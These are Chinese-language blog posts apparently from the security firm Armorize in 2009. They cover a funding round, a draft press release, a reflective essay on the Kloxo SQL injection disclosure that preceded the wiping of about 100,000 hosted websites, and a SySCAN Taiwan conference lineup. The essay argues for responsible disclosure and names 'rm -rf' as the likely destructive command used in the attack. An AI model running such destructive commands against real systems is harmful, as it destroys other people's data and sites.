幾個月前Toivo來台北看我們公司,才跟他聊半小時,我當時就打定主意,這家創投是很好的創投,他們的錢我們希望拿。Toivo穿著牛仔夾克,牛仔褲,與布鞋,有些偭腆,有些嚴肅,但是對技術、產品與公司營運的敏銳度非常的高,問題直接又快速,回答一句,得到他想要的答案,立刻問下個問題,一句多的話都沒有。聊了十分鐘,我發現他開始喜歡我們了,話題也多了。Toivo說他對資安不是非常專精,但是分享了一些他在Skype其間遇到的資安問題,大部分都是與路徑有關,也讓我增加了見聞。看到我們公司這麼多年輕的工程師,也很多歐洲人,「聘人很辛苦吧?Skype的前面兩百多個工程師,都是我自己面試挑選的,」他得意的說。「你們都如何面試工程師的?」真是好問題,我正要回答時,沒想到一旁的德籍工頭Chris搶著說了許多他的經驗,也讓Toivo頻頻點頭。

新創公司聘人,很難,好的人才不容易找。也許我們在資安圈蠻有名的,可是公司不僅需要資安人才,還需要很多的軟體工程師跟其他各種人才。小公司,沒有名,我們公司的工程師大家實力都好,學歷也好,大可以去半導體大廠,或大的外商,為何要來「阿碼」?阿碼是什麼公司?阿媽開的嗎?對於父母來說,也是頭大的問題,我的小孩書念了這麼久,明明就可以去大半導體廠,鴻海、宏碁、聯電、台積電、宏達電、Google、微軟、IBM,講起來多好聽,現在選擇去「阿碼」,每次碰到鄰居與親戚朋友,就要說我小孩在「阿碼」...「阿碼」是什麼公司?

對外國同事也很難。突然之間,孩子說要搬到台灣去加入創業團隊。台灣在哪裡?沒去過。會不會有戰爭?不知道。會不會以後媳婦是黑頭髮的台灣人?很有可能。多久可以回家一次?國內這麼多好的公司,一定要去台灣嗎?...

但是如果會運用,創業團隊也有其無比的優勢。公司不大,大家都很重要,接觸得多,學得也多。公司沒有太多政治問題,做起事來很快,靈感,創意,想法,都很容易發揮;大家都是公司重要的一份子,公司怎麼走,就看大家要公司怎麼走,大家自己做決定,自己負責,時間花在創意,創新,研發,挑戰,而不用花在政治與官僚,這對很多實力好的人才來說,會具有很高的吸引力,不用再被惡劣的老闆管,不用再擔心背後挨刀,不用再為了理想被埋沒而痛苦,不用每做一件事都要考慮那麼多政治因素,可以放手去發揮,大家一起打拼,這些對人才來說,會比什麼都來得有吸引力!

聊得很愉快,一下子時間過了,會議要結束了,但是我們也確定,ASI如果投資,會帶給我們很多其他方面的幫助;他們成立Skype並一路把公司做得這麼好,我們遇到的許多挑戰,他們都遇過了,可以給我們許多幫助。創業家作投資人,跟純金融的投資人,會很不一樣。公司創立的艱苦過程,他們都經歷過,在各方面不但能提供很好的經驗,對於許多困難也很能夠體會,把自己當作團隊的一份子,而不是劃清界限,他們是投資人,你們是團隊。事實上,阿碼第一次募資時的投資人,也大部分是創業家,從我們董事長沙正治先生(Jim),到邱俊邦先生與翁家盛先生,到New Venture Club的Tim Koogle(Yahoo!前CEO與目前副董事長),Dennis Coleman(賽門鐵克創辦人),Bill Coleman(BEA Systems創辦人與前董事長兼CEO),Mike Markula(Apple前CEO與第一位投資人)等,都是當過創業家的投資人。其中團隊最感謝的,還是董事長,因為董事長最肯花時間與我們互動,現在想起來,大大小小事情都找他討論,他那時一定覺得我們很煩,花他很多時間。阿碼公司文化,很多都是他直接影響而建立的。

ASI審一個案子,異常的仔細,公司幾乎所有文件都要翻過一次,檢查了又檢查,財報當然更是不用說。在技術的審查上,Toivo與Ahti自己跳下來玩我們的產品,了解我們跟對手的差別。一天晚上九點半,我在大潤發買東西,手機響了,接起來,原來是Ahti,Ahti說他看完我們的產品有問題要問我,我說好,可否過20分鐘?他說直接問就好,很快。於是在我買完結帳的過程中,回答完他所有的問題,Ahti人很好,做事也很快,那通電話完,我感覺他們會投資,而且會是很好的投資人。電話快結束時我跟Ahti說,不論他有沒有投資,我都很高興有機會跟他們認識。Skype就是他們幾個創出來的,卻改變了大家的生活,尤其愛沙尼亞就像台灣一樣,並不是很大一個地方,卻能做出國際級的軟體,我對他們有很多respect。

[長期的互信關係]

有時,投資人跟團隊的關係,如果不要太計較眼前的利益,往往可以走得很長久,達到雙營的局面。這次增資的投資人還包過Birch Venture Capital,是一家由吳廣義先生(Max)與黃家哲先生(Terry)所創立的創投公司。Max看我們,看了四年了。我們第一次募資時,先去找他,也就是他介紹我們認識董事長Jim的。我永遠記得,當我們決定第一次募資只邀請創業家天使投資人時,團隊中緊張的氣氛。該如何跟Max說,先不邀請他們呢?Jim就是他介紹的,這真的說不過去,但是還是要面對。於是幾個人鼓起勇氣,在Max的會議室中,低著頭把我們的想法表達了,為何我們覺得第一次先只邀請個人投資人,雖然這些人很多都是Max介紹我們認識的。說不緊張是騙人的,Max說他不會生氣,我們也知道是客氣話。如果Max願意自己投資,那我們當然會很高興,但是那時Max代表的是創投公司,而我們只想找個人投資。

公司做了幾年,非常成功,等到要第二次增資時,我們直接想到的,就是Max。事隔三年多,大家又見面了,結果我們發現Max不但不怪我們了,還完整記得我們三年前報告的資料,對我們產業也很了解,讓我們好不驚訝。我們說,三年多了,我們當時宣稱可以做到的,也都做到了,如果Max還願意支持我們,那我們覺得現在是邀請創投的時機了。就這樣,Max現在也是我們的董事了。Max之前在宏碁服務了超過20年,並於1993至2000年擔任宏碁美國的president,實務經驗非常多,在這陣子的互動中,我們已經跟他學了不少。Terry也幫我們建立了更好的制度,讓我們會往後的成長,做好了充足準備。

投資人與團隊之間,當然利益不全然一樣,但是如果雙方不要太過計較,可以走很長的路。

[開放源碼與成立公司]

為何成立阿碼,沒有選擇開放源碼?這個問題很多人問。我們那時的研究成果很好,而且大家一起工作做得很愉快,也有很好的感情。但是如果要繼續一起工作,必須要有個辦法。另一方面,我們的技術領先對手很多,並且不容易被追上,對於產品化,我們很有信心。其實是前一個理由比較重要。大家要過生活,還是要賺錢。如果我們都有存款可以生活,我們會自己做自己想做的事,軟體也會是開放源碼的,讓大家來免費使用。當然有一天我們存夠錢了,這種生活就能實現。但是目前,生活是現實的,大家雖然感情很好,但是總不能沒飯吃,要一起能繼續走下去,必須成立公司,建立穩定的商業模式。很多人覺得我是工作與興趣結合,其實我是分開的。如果單純興趣,我一樣會做資安研究,但是會以開放源碼為主,並且不需有很多商業上的考量(例如很多技術都不公開等等)。既然是工作,穩定的獲利就是非常重要的目標之一,尤其公司這麼大,我們對於公司的同事,他們的家人,我們的投資人,甚至以後出來募資的年輕人,都有責任;大家都有家庭父母小孩要照顧。長久來說,存夠錢後,能夠更專注於自己愛做的事情,擺脫商業的考量,做自己喜歡的研究(不一定是Web資安),是我們一直的夢想,但是以目前來說,把公司做好,把客戶照顧好,獲利穩定,成長快速,是我們最重要的目標。

我記得四年前,Chris辭掉微軟的工作,搬來台灣,就住在公司旁邊,Walter也搬過來,住他樓上。有天他自己做了晚餐,請我們去,我吃素,大家跟我吃,Chris本來也不喝酒。我們拿起飲料乾杯時,心裡感受很難形容。大家一路這麼要好,也出生入死那麼多次,但是真的現在Chris德國工作辭了,房子退了,Matt美國Atheros工作辭了,Walter / Benson也都辭了工作--好大的壓力,以前沒感覺過--我們真能成功嗎?我會不會對不起大家?想到以前,出論文都感覺在賭命,第一篇投稿的那晚,好幾天沒睡了,Walter打來,Wayne,數據都做好了,但是我剛才去廁所完,發現身體出狀況,我現在去醫院。之後就聯絡不到了,手機家裡都沒人接。嚇死了,第二天早上打給他父親,麻煩他去Walter房間看看。結果他說Walter沒事,睡死了而已。第二年,也是投稿前幾天,Walter人在美國出差,半夜幫我做,太累個感冒,沒空去醫院,自己買了藥吃。終於準備投稿了,Walter打來,Wayne,資料都沒問題,確認過了,但是我有問題,藥吃太多,心臟亂跳,我打911,他們到了,說必須送去醫院,先這樣。

其他太多講不完了,現在的團隊真的很好,延續了我們一向的文化,大家一起努力,感覺很棒。雖然每一次release,每一個新功能都那麼的辛苦,每一次出差也沒輕鬆過,但是我們成績一直出來,謝謝各位的努力,我們一起繼續加油!
(左:OWASP 2007於eBay,隔天要展示但是機器坐飛機後壞掉了,修了整個晚上,Kuon抱著電腦睡著了)
(右:RSA 2009於舊金山,兩年後了,還是一樣,我才把行李放好,客廳就變成行動辦公室了)

[團隊的努力]

最後要感謝的,是每天為阿碼一起打拼的同事們--大家真的太辛苦了!但是我們的辛苦,獲得了投資人的肯定,在金融風暴後,資安乾枯,創業公司接二連三倒閉,大公司不斷裁員的情況下,這次我們不但成功完成增資,有來自美國、歐洲與亞洲的創投參與,更是一次 up round,股價獲得了實質的增加,這是對各位最實際的肯定。阿碼成立到現在快四年了,只有過一位助理因個人因素主動離開,謝謝你們對公司的信心,以及對這個工作環境的肯定。你們有些人,早在阿碼之前,早在我們都還是學生時,就跟我一起工作,大家已經出生入死很多次了;謝謝你們一路跟我一起努力,這中間的血淚與磨練,是我最珍惜的經驗;有些人離鄉背井,離開家人與朋友,來到陌生的台灣,住在公司旁邊,只因為我堅持技術留在台灣;你們忙得連重要假日也沒法回家,變成你們父母從世界各地來台灣看你們,算一算已經有六對父母來台灣探望了,每次看到假日你們都在公司,雖然你們說反正沒地方去,但是我心裡都覺得很內咎;有些人放棄了大公司,出過唸書機會,甚至是主編,是CEO,也就這樣放棄了,來到阿碼扛起責任,我有時想想不知你們如何做到的;有些人本身也是創業家,帶著公司與阿碼合併,努力地讓我們產品線更豐富。你們大家都是我心目中的英雄,謝謝你們,跟你們工作,也讓我學到很多。出生入死,有血有淚,但是每天都很愉快,謝謝你們的努力!

我們既有的投資人,尤其是董事長,一路花了非常多的時間帶領我們,這次增資也義不容辭的支持我們,團隊裡所有的人,都會永遠記得的。金融風暴後,大部分要增資的新創公司,根本找不到資金,更不用期待股價之上漲(up round)。可是這次與董事長的互動,就如當時第一次增資時一樣,沒有多少話,就談完了條件,股價的增加,是董事長自己提的,一句話,口頭的承諾,整個過程就沒有再變過,在投資圈裡頭,這簡直不可思議。但是你們的決定是對的,因為團隊都知道我們擁有最好的投資人,我們感謝各投資人的支持,而也絕對不會讓各位失望的。

[台灣的資安產業]

Skype的大部分程式,是愛沙尼亞的工程師們寫出來的,經過資策會的安排,ASI也遠從愛沙尼亞投資了阿碼。根據新搜尋引擎WolframAlpha,兩地的面積不會差很多,台灣有兩千三百萬人,愛沙尼亞投有一百三十萬人。台灣雖然小,但是我們有許多國際知名的品牌,譬如宏碁,華碩,鴻海,台達電,聯電,台積電,D-Link,Zyxel等等,都是我們的驕傲。可是多年前我從交大資工碩士班畢業時,真是不知該怎麼找工作。我從小就寫軟體,我想進入軟體公司,但是在台灣,似乎很少。硬體畢竟算是製造業,資本主義下,產業要有競爭力,為了降低成本,產業外移是必然的;美國的就業問題根源在此,台灣也將面臨同樣的問題。當我們生活一直提升的同時,工資也必然提升,要一直保持在製造方面的競爭力,談何容易。

產業外移不見得是問題,只要一直能找到新的東西做就好。美國矽谷很早就不做製造了,但是他們開發了軟體產業。現在矽谷紅的公司,Google、微軟、Apple、eBay、Amazon、Salesforce、Facebook,這些都是軟體公司。IBM賣掉了筆電與其他事業體,成功由硬體公司轉型成軟體與服務的公司,HP也一直在努力。台灣能有這麼好的硬體品牌,也有好的軟體人才,沒有理由不能有好的軟體產業。軟體產業不像硬體,需要龐大的成本,要建廠房,要物料,要庫存;軟體只需要建立良好的公司文化與環境,把優秀並對軟體有熱忱的人才聚集在一起,就快成功一半了。

去年去RSA,印象深刻的是德國館,德國政府出錢,帶所有廠商來美國參展;今年德國從一個館擴展成三館,新加坡也第一次做了新加坡館。以色列也不大,但是資安產業做得有聲有色,美國客戶對於境外的資安產品都比較保留,但唯獨以色列產品例外。愛沙尼亞的人口只有我們二十分之一,但是可以做出像Skype這麼成功的軟體公司,為何我們不能?

因為我們全球經銷伙伴多,消息比較靈通,最近一個趨勢,發覺越來越多伙伴代理了韓國的產品,不論是軟體工具,或資料庫,或資安產品,感覺韓國已經走出來了,過不久,可能會有品牌像LG、Samsung一樣成功。希望經濟部以及台灣其他長官,能夠更支持台灣的軟體產業。曾經跟一些長官也有機會聊了不少,但是感覺對於我們的資安產業能打出國際品牌方面,都還是比較保留。這不是能不能的問題,我們其實已經做到了。趨勢科技就是台灣的公司,但是是全球前幾大的資安廠商。台灣還有阿碼威播精品中華數位中華龍網居易,都是外銷成功的廠商。

軟體產業靠的是腦力,不是靠勞力,污染低,低成本,根本不需要多大的資本額(房租,薪水,電腦,能花多少錢?),只要有人才,就能創造出好的產品,別人要追上也不容易。希望政府能對這個產業更有信心些!


(新加坡今年第一次有國家館:「Infocomm Singapore Pavilian」)


(德國今年RSA有三個館,標語「IT Security Made in Germany」令人印象深刻)

作者 Wayne 為阿碼科技一員

[新聞稿]

以下是新聞稿草稿,團隊還沒正式發出:

Armorize Technologies(阿碼科技)完成股權增值融資案
2009.06.16 美國矽谷 聖克拉拉市

所得的資金將會運用在全球商務的拓展上

網站應用程式安全領導廠商Armorize Technologies已完成最新的股權增值融資案,其中最重要的投資者包括總部設在歐洲由研發Skype的工程團隊所組成的創投公司Ambient Sound Investments(ASI),以亞太為基礎的旭樺管理顧問股份有限公司(Birch Venture Capital),以及以沙正治先生為首有參與阿碼第一次融資的矽谷投資人,這次融資案的款項將會被用於商業研發及拓展全球業務上,部份的金額會用來投資台灣子公司,金額將會超過一億兩千萬台幣。

阿碼的技術及企業理念得到投資人強力的背書

新資金的取得證明了Armorize在網站應用程式安全技術方面具領先地位。Armorize是網頁應用程式原始碼分析的先驅者,並透過SaaS的服務來對惡意程式進行辨識及監控,”我們很高興的看到投資人以行動來對我們表示支持,我們也非常有信心,網頁應用程式帶來了很多安全方面的課題,但Armorize提供了一套先進的自動化工具來解決這方面問題。這次融資完成,代表投資人對我們的技術及企業理念的贊同。”Armorize執行長黃耀文說。

“Armorize是一群具有高度技術能量的團隊,並研發了具專利性的原始碼漏洞分析解決方案。我們相信Armorize在網頁應用程式安全方面整體的表現,將會使他們在國際市場上具領先的地位”ASI的私募股權基金主席(head of private equity investments)Margus Uudam說。

Web 2.0 驅使網站應用安全產業成長

這次的投資顯示網站應用安全將受到重視。隨著Web 2.0的發展。企業或個人在日益繁複的程式設計及開發中,使得惡意程式更容易透過網站的漏洞來攻擊,各產業已經正視到這點。而Armorize建立了完整的解決方案,能夠在系統發展生命週期(SDLC)的各個階段強化網頁應用程式的安全性

Armorize Appsec Suite 提供了完整的網站應用安全

Armorize Appsec Suite™原始碼分析、網站應用程式的防火牆、網站惡意程式即時監控,保護企業免於因網頁漏洞所造成的威脅。

CodeSecure™自行研發的編譯器可以更精確的找出網站應用程式原始碼的漏洞,CodeSecure™是一個具有Web操作介面的硬體設備,適用於企業與軟體即服務(SaaS)的部署模式。
SmartWAF™是一種可以結合CodeSecure™源碼檢測結果快速「修補」網站弱點的主機型網頁應用程式防火牆

HackAlert™提供7x24網頁掛馬的監控服務,可提供全天候的掃描及預警,HackAlert™可以確保客戶網站免受惡意程式的威脅。

自從Armorize成立之後,快速的成長並且在全球各領域迅速累積客群,包括網際網路、政府及金融體系等各產業。

關於Armorize Technologies

Armorize是專注於網站應用程式安全的公司。

Armorize Appsec Suite™整合了獲獎無數的CodeSecure™, HackAlert™ 和SmartWAF™提供了完整的網站應用安全服務。

Armorize服務團隊深耕於網站應用程式安全研究,並連續在WWW研討會獲獎。
包括Red herring 100、及受邀參加Dow Jones VentureWire Technology Showcase 2008展示公司基礎及成果。

Jack Yu
Phone: +886-2-6616-0100 x405

繼續閱讀全文...

2009/6/10

[No Tech] SQL Injection 火線--談印度、創業與資安道德

昨天晚上好幾個irc channel中,突然傳出這個新聞,引起大家很多的討論:LxLabs的創辦人自殺了。LxLabs的創辦人K T Ligesh,今年32歲,昨天被發現上吊於班加洛(印度矽谷)的家中。看到這個新聞,心裡真的是非常震驚,也非常難過。印度我們大概兩個月得去一次,其中又以印度的矽谷--班加洛,為最常跑的城市。雖然我不常陪同事去,但是也去過好幾次了,在當地有了不少朋友。班加洛是印度一個非常特別的城市。由於位於高原上,高海拔使得班加洛雖然在印度南部,但是卻擁有非常舒服的氣候。我第一次去,就被這個城市吸引了。到處都是高樓,還有漂亮的購物中心,跟印度其他地方的貧窮完全不一樣。雖然孟買也是有很多高樓與購物中心,但是孟買是商業中心,比較沒有IT的氣息。但是班加洛卻不一樣,這個城市一開始發展就規劃要成為印度的矽谷,並利用氣候與各種優惠條款吸引外商投資研發中心。第一次走進機場時,嚇一跳,好漂亮的機場,另外,怎麼感覺所有人都是工程師?不論是當地人,或是像我們一樣外來的,都是很geek的感覺。放眼看去,每個人肩上都背了一個電腦包,衣服上的logo...嗯嗯,MS,Intel,Oracle,Siemens,IBM,HP...怎麼大家連穿衣服都那麼geeky?然後坐著的人好像都在回email,有的用手機,有的用筆電。去吃飯,怎麼周圍所有人討論的都是IT話題?FaceBook API又怎樣了,Java的某framework又出問題了,某家公司的SDL竟然也改成scrum了。有時候在其他地方,這種討論會引來異樣眼光,好像在這麼好的餐廳,盡是討論技術,真是煞風景,還會被笑是geek。但是在這個城市,這是主流,不懂IT,大概會被笑。除了談技術,最熱門的話題大概就是創業了。好多人創立了自己的公司,好多人正在計畫,大家對於美國的新創公司如FaceBook、Twitter等的一舉一動,總是是那麼的熟悉,那麼的有興趣地討論著。這真是一個屬於geeks與創業家的城市啊!

除了本地的企業外,這裡外商非常多,大部分知名的歐美外商都來此建立研發中心,動不動就是三五千人的規模,人才則是來自印度各地的菁英。印度語言並沒有統一,北方話(Hindi)在此是沒有人懂的,於是唯一共同的語言就成了英文。這麼多這麼大,塞滿工程師的研發中心,每天寫出來的程式量非常可觀;當然,每天寫出來的弱點數,也非常可觀。這種規模的研發中心採用的管理模式與各種軟體開發流程,跟亞洲的其發地方很不一樣。大家非常在意各種軟體開發的模型與流程(up, xp, dsdm, agile, scrum, etc),也大量的使用各種軟體開發工具,來協助流程的建立。下面照片是在某客戶家裡的布告欄照的,由於有嚴格的控管,當時經過了層層主管的同意才得拍,還答應之後把公司名稱馬賽克掉:

這個客戶有一個專門的「工具評估」部門,大約有三十人,工作就是負責評估各式的軟體工具。一旦選擇,就大量的採用,並訓練內部的種子講師,知識管理系統,並協助各團隊將工具導入於開發流程中。照片中右方是一個「The Tools Open Challenge--May the best tool win!」(工具的公開挑戰--讓最好的工具贏吧!)

去這些公司裡頭做簡報,一開始還真有幾分壓力。客戶對於每個廠商瞭若指掌,對於工具的評估也非常有經驗。很多工程師基本上是看不起「資安專家」的,認為我們就學了那麼一招半式,其實對於軟體的開發,不論在實務上或流程上,都比不上他們的經驗與規模。記得第一次去的時候,來到一家公司,非常.com的裝潢,簡直快比Google豪華了。報告選在中午,公司自己的廚房讓每個人點自己要的菜,一堆工程師捧著午餐,把整個會議室擠滿了,後來的人就都爬到櫃子上坐著居高臨下,三十幾個人打量我們六個人,要看看我們到底有什麼厲害,還有什麼樣的工具他們沒看過的。聽他們的聊天內容,夠專業了,在美國也沒碰到這種陣仗,感覺左右兩邊的老外業務同事,與陪同的當地代理商,都感受到對方帶來的壓力,開始緊張了。嗯,這個時候一定要先利用時間,一一擊破,於是我趕快脫下西裝,加入他們的討論,讓他們慢慢發現,我們對語言,對開發技術,對各種模型都很熟,也與很多相同規模的客戶工作過。一邊聽他們最近在做的專案,一方面分享我們接觸過的其他國家同性質專案,慢慢的大家開始喜歡我們了,覺得原來「資安專家」也懂軟體開發。「讓我看看你們最近做好即將上線的系統吧!」對方驕傲的給了個內網URL,並解釋這個專案的整個流程,使用的工具,還有在資安上的作法。「可以測看看嗎?」「Sure, go ahead!」

簡報時間到了,先用視訊與在印度另一省的團隊連線,那邊也有約三十人。簡報開始,兩位阿碼的業務同事,一位白人一位印度人,負責大部分的簡報內容,講得又穩又專業,看來剛才的功夫對我軍有達到穩定軍心的作用。我則 fiddler + burp,忙了一陣子,運氣很好,SQL-i, XSS, CSRF 都找到了,同事講完,我做demo,資料庫直接dump出來。一下子變得很安靜,連電話那端都聽不到聲音了。沒人打電話,但是門口突然出現一堆人,大概是裡面的人用msn通知的吧。大家七嘴八舌一陣子猛問,終於瞭解了弱點與攻擊方式。「也沒什麼嘛!」「是沒什麼,但是不容易避免。這是我手動找的,用工具可以找到更多,工具才可以結合你們的流程,每天重複使用,這個你們比我們還專業,不用我多說」。「那是否下午就直接掃程式看看?」「沒有問題,我們下午有排其他會議,但是我們代理商會留下來協助各位POC」。雖然這個客戶目前其實對資安並不熟,但是整體技術能量很夠,這種團隊最容易,經過一陣子教育訓練以及導入工具後,很快就能開發出高安全性的系統。

記得下午跑的客戶,某外商大廠設的研發中心,三千五百人,幾乎所有黑箱工具都買了,白箱目前也都正在測試。跟這種客戶工作,廠商其實收穫很大,用這麼多特別設計過的程式碼,來測試這麼多黑白箱工具,連我們自己也沒有這麼完整的測試環境。跟測試團隊聊,各家黑箱的強處,不足,客戶經驗,建議的新功能,都在很短時間內分享給我們,這些資訊對我們實在很寶貴。回想起照片中那張海報:「工具的公開挑戰--讓最好的工具贏吧!」--這真是這裡的寫照。只要你團隊有實力,工具好,客戶大都會採用,這樣的環境阿碼就佔很大優勢。反觀台灣,常常我們都是測試結果比對手強很多,但是對手業務通常有辦法模糊測試結果,然後很敢放一大堆謠言:「阿碼資金有問題,快倒了,絕對稱不過年底」、「阿碼都只是一群駭客,工具亂做的而已」、「阿碼的工具,是開放源碼的FindBugs兜出來的」。Wow,真敢講,改天我們再反駁吧(沒營養)。如果是針對工具評比,我們很專業,也很有把握,但是常常要花時間在消毒這些謠言,這種時間就不那麼值得了。現在想起來,在班加洛,大家的話題總圍繞著技術或創業,每次的POC總是那麼愉快,這也許是為何我對這個城市印象一直很好的原因吧!

這也許是為何,在聽到新聞,有班加洛創業家因為產品有的SQL injection與其他弱點,造成客戶重大損失後,無法承擔壓力而上吊自殺後,感覺特別沈重,也讓我靜下來思考了許久。LxLabs是位於班加洛的一家虛擬化公司,位於班加洛,由印度人KT Ligesh所創辦。LxLabs的主力產品Kloxo(之前稱LxAdmin),在VPS hosting產業擁有相當的市佔率。LxLabs的網頁上有對Kloxo的資安宣言:Kloxo是已近乎偏執的態度來設計資安模型。基本概念就是每一個模組都不信任其他模組。我們將資安視為最重要的問題並投入了很多努力,建立了一個您可以有信心的資安環境。頁上並介紹了Kloxo的五層資安架構。

6月4日,milw0rm上登出了Kloxo一共24個資安問題,其中大部分是local exploit,但是包含了一個remote exploit--SQL injection,可以達成以root權限執行任意指令。這篇當時很多人都有注意到,因為Kloxo市佔率還算蠻廣的,尤其在低價的VPS方面。6月7日,很不幸地,位於英國,並在美國也有IDC的hosting公司VAServ Ltd(vaserv.com),被攻擊者利用上述漏洞,毀了超過十萬個網站。VAServ使用的虛擬化方案,正式LxLabs的Kloxo與HyperVM。除了VAServ的客戶外,該公司並持有其他品牌的hosting服務,包含了FsckVPS Hosting(fsckvps.com),CheapVPS(cheapvps.com),以及A2B2 Hosting(a2b2.com)。事發至今已經六天了,但是上述網站仍無法復原,使用上述個品牌做hosting的客戶,也只能等待,或趕快將網站搬家其他hosting廠商。



其實除了VAServ與相關品牌,我們發現利用Google就可以輕易找出其他使用LxLabs產品的Hosting,很多都還有上述弱點,攻擊過程也並不困難,LxLabs創辦人Ligesh與團隊之心裡壓力可想而知。這次的SQL injection弱點揭露,造成十萬個網站之損失,目前VAServ與客戶都還處於兵荒馬亂狀態,更造成LxLabs選擇結束生命之悲劇。網路上的討論也瞬間如疊高樓般,一個標題一下子可以有超過150頁的討論(例如這裡)。就我的記憶裡頭,資安事件雖多,造成受害者結束生命的,可能是第一次。可能因為同樣身為技術創業團隊,總覺得班加洛的人特別親切,特別有話聊,對於創業的種種艱難,我們大家也很多體會。看到一個弱點的揭露後所造成接連的悲劇,讓心情十分沈悶。

這次攻擊者可以大規模植入惡意連結或javascript(掛馬),或利用這些漏動作其他攻擊,但是都沒有,只是把檔案都砍掉了。於是很有可能的情況之一是,一個不到18歲的青少年,看到了milw0rm上的揭露,由於自己也是VAServ的使用者,試了一下,帶了 "rm -rf" 指令,就這樣不預期地,攻擊成功了,瞬間把十萬個網站都砍光了。十萬個網站這種規模的掛馬,經濟價值之高,圈內人都很清楚,如果是犯罪集團所為,大可不必「浪費」了這麼一個機會。那麼如果真是這樣,那就像小孩玩火,一不小心燒了一條街一樣,這種悲劇該如何避免?

看看網路上的討論,其實責怪攻擊者的人,遠超過責怪LxLabs或VAServ的人。我對這個留言特別有印象:

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」 (dribbleworld.com留)

資安是一種藝術,滲透測試中,每個系統都是一個不同的謎題,考驗著資安專家的經驗,敏感度,與靈感;這是為何hackers樂此不疲的原因之一。但是真正難的是創造,是建設,不是破壞。問題是,人的成長過程中,似乎很容易先學習破壞--19歲的MySpace Samy17歲的Twitter Mikeyy,都是例子。人越成熟後,才越能體會建設之美,這是為何對於年輕人犯錯,社會常能給予寬容。小孩玩火,燒了一條街,大家都是輸家,要怪誰?反觀在這次事件中,是否要怪LxLabs,為何有這麼多漏洞?問題是,不用說像LxLabs這種創業團隊,即使是大銀行,大企業,在資安方面的預算都很有限。資安是很特殊的技術,除非長期注意威脅,接觸的技術面夠廣,不然一般人很難做好安全的產品開發。在金融風暴下,大公司都撐不住,更何況新創公司,要額外投資做好資安,有時的確有困難。但是有時弱點實在太過簡單,是否也因此引誘了犯罪?

網路上對於milw0rm,也是一片撻伐。大家認為,此弱點揭露的作者,於5月21日聯絡LxLabs,並有獲得回應,只是LxLabs處理得不夠快,作者就自行判定「廠商沒有興趣處理」,於是逕自完整揭露。三天後,十萬個網站毀了,LxLabs創辦人自殺了,這些事件,跟milw0rm上的揭露,有直接的關係。很多人認為milw0rm該負起責任。

負責的弱點揭露不是個容易的議題。有時,廠商就是吃定消費者。資安專家回報弱點後,過了一年還不見修復,或顧及廠牌形象與法律責任,修復後便不承認曾有漏洞。這常常造成資安專家像是啞巴吃黃連,明明看著對方漏洞百出,消費者權益蕩然無存,卻無法完整的揭露資安漏洞。

這次究竟milw0rm有沒有責任?還是要怪LxLabs?還是要怪惡作劇者?還是對方就是LxLabs的競爭對手,藉由此來打擊LxLabs?那麼豈不是罪大惡極?問題不容易回答,但是往後我會常常想到這個事件。當然,雖然主流媒體報導很一致,認為VAServ的入侵事件與LxLabs的0day有關(間隔三天),但是也有不同的說法,認為其實沒有關係,是VAServ的密碼重複使用並被竊聽導致(見irc log)。但是無論真相為何,一位創業家生命的喪失以及十萬網站的毀壞都已經是無可挽回的事實。我知道創業家的辛苦,很遺憾Ligesh生命的結束。以後在我感嘆手上的漏洞因為種種理由而無法公開時,我會想到此事;因為如果我們不負責的公開某漏洞,而造成類似的事件,那會是心裡一輩子的負擔;這些漏洞,在對方還沒修改時,就讓它永遠埋著吧!

這也是為何我很喜歡SySCANOWASP的會議。這兩個會裡,並不強調0day的展示。就像這次,milw0rm公佈的是LxLabs的0day,但是只不過是個老掉牙的SQL injection罷了,我覺得並沒有給資安社群帶來多少新的知識,但是卻帶來了十萬個網站的毀滅,十萬個中小企業突然沒了網站,一群可憐的IT工作人員不斷的加班,以及一位創業家生命的結束。就是像這種0day的公佈,增加了社會的成本與恐懼,污染了 "hackers" 在大眾心中的形象。即將舉辦的SySCAN所強調的,是前瞻性的資安技術與威脅,而不是各別產品的0day,內容包含了雲端運算與虛擬化安全性,iphone安全性,Android安全性,PHP核心安全性,ruby fuzzing技術,Web與RIA(Rapid Internet Applications)技術之安全性,RFID安全性,路徑安全性,以及新型惡意程式分析,讓我真的非常期待。

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」--講得真好!

作者Wayne為阿碼科技創辦人
此文紀念班加洛創業家Ligesh,希望類似悲劇別再發生

繼續閱讀全文...

2009/5/27

Hack Day 徵槁,一票600NTD,SySCAN Taiwan 2009 部分講師陣容出爐(不含Hack Day講師)

(轉貼自:http://syscantaiwan.blogspot.com/2009/05/hack-day-600ntdsyscan-taiwan-2009-hack.html
非常感謝感謝大家對 SySCAN Hack Day 的投稿,繼續徵求稿件中,CFP見:
http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html

票價部分,七月5日Hack Day單日一票600NTD,全程三天(七月5日Hack Day,七月7-8日SySCAN Taiwan本會)共3100NTD,見:http://www.syscan.org/Tpe/registration.html

SySCAN Taiwan 2009本會,部分講師陣容已經確定,今年精彩萬分,內容包含由Dave Aitel與Matt Conover負責之雲端運算與虛擬化安全性(打爆VM!),由Charles Miller負責之iphone安全性,由Marc Schoenfeld負責之Google Android安全性,由Stefan Esser負責之PHP核心安全性,由Ben Nagy負責之ruby fuzzing技術,由Justine Osborne負責之Web與RIA(Rapid Internet Applications)技術之安全性,由RFID祖師Lukas Grunwald負責之RFID安全性,由Fyodor Yarochkin負責之路徑安全探討,由Jeremy(Birdman)負責之新型惡意程式分析,以及由Wayne負責之Web安全性等,保證場場打爆之演出,絕對精彩!
部分已經確定之講師如下,詳細內容與報名方式請見SySCAN官網:http://syscan.org/Tpe/taipeiconference.html



1. Dave Aitel(Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師
Dave Aitel是Immunity的創辦人兼CTO。Dave 18歲時就被美國國家安全局(NSA, National Security Agency)延攬擔任資安科學家,六年後離開加入@stake。Dave之前的領域以Linux與Unix上之入侵技術為主,但是之後隨著他創辦Immunity而轉為Windows上之入侵技術,近幾年則又包含了Web應用程式之入侵。Dave是fuzzing技術之全球先驅,他的SPIKE fuzzer於Black Hat 2002年發表後一直被資安圈所廣為使用。除了SPIKE Fuzzer,Immuntiy也一直提供各種的免費工具,如著名的SPIKE Proxy、Sharefuzz、Aircrack-ng SILICAQ Mod、DR RootKit、Unmask、DMOSDEF等。清單可見:http://www.immunitysec.com/resources-freesoftware.shtml。Dave著有「The Hacker's Handbook: The Strategy Behind Breaking into and Defending Networks」、「The Shellcoder's Handbook」、「Beginning Python」等三本書。

2. Charlie Miller(CanSecWest的Pwn2Own '08/'09兩屆冠軍)

